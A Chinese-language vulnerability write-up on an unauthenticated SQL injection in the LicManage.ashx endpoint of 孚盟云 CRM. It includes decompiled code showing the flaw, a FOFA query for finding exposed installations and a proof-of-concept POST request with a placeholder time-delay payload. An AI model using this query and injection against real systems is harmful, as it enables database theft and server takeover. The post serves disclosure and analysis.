孚盟云CRM LicManage.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云LicManage.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 LicManage.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 LicManage 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str = context.Request["action"];
  if (!string.op_Equality(str, "GetLicDetail"))
  {
    if (string.op_Equality(str, "GetReNewList"))
      return;
    if (!string.op_Equality(str, "ExtensionPermit"))
    {
      if (!string.op_Equality(str, "ExtPermitByMoney"))
        return;
      this.ExtPermitByMoney(context);
    }
    else
      this.ExtensionPermit(context);
  }
  else
    this.GetLicDetail(context);
}

根据参数action的值进入不同的处理逻辑,当action=ExtensionPermit时,看ExtensionPermit方法的实现

public void ExtensionPermit(HttpContext context)
{
  try
  {
    string empty = string.Empty;
    string AMouldID = context.Request["MouldID"] == null ? "" : context.Request["MouldID"].ToString();
    string ABillFID = context.Request["BillFID"] == null ? "" : context.Request["BillFID"].ToString();
    string str1 = context.Request["Auditer"] == null ? "" : context.Request["Auditer"].ToString();
    if (string.op_Inequality(AMouldID, "") && string.op_Inequality(ABillFID, ""))
    {
      int AAuditState = 0;
      DataTable dt = (DataTable) null;
      DataTable dt2 = (DataTable) null;
      if (!this.GetLicTable(AMouldID, ABillFID, ref AAuditState, ref dt, ref dt2))
      {
        context.Response.Write("false");
        return;
      }

当MouldID和BillFID不为空时,将二者带入GetLicTable方法

public bool GetLicTable(
  string AMouldID,
  string ABillFID,
  ref int AAuditState,
  ref DataTable dt,
  ref DataTable dt2)
{
  string empty = string.Empty;
  DataSet dataSet = this.dbHelper.Query($"SELECT TOP 1 B.TableName  FROM syMouldTables B WHERE B.MouldID='{AMouldID}' AND B.SQLNo=1 AND B.IsUpdate=1");

未经过滤或参数化绑定的参数 AMouldID 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。

当 action=ExtPermitByMoney时,和上面看逻辑一样,就不赘述了,看下图即可明白

漏洞复现

POST /Ajax/LicManage.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=ExtensionPermit&MouldID='SQLI_POC--

成功延时 5 秒


手机扫码阅读

7-Zip CVE-2025-11001 和 CVE-2025-11002 复现+更新Linux上7z至最新版本

孚盟云CRM GetDropDownListContent.ashx SQL注入漏洞

评 论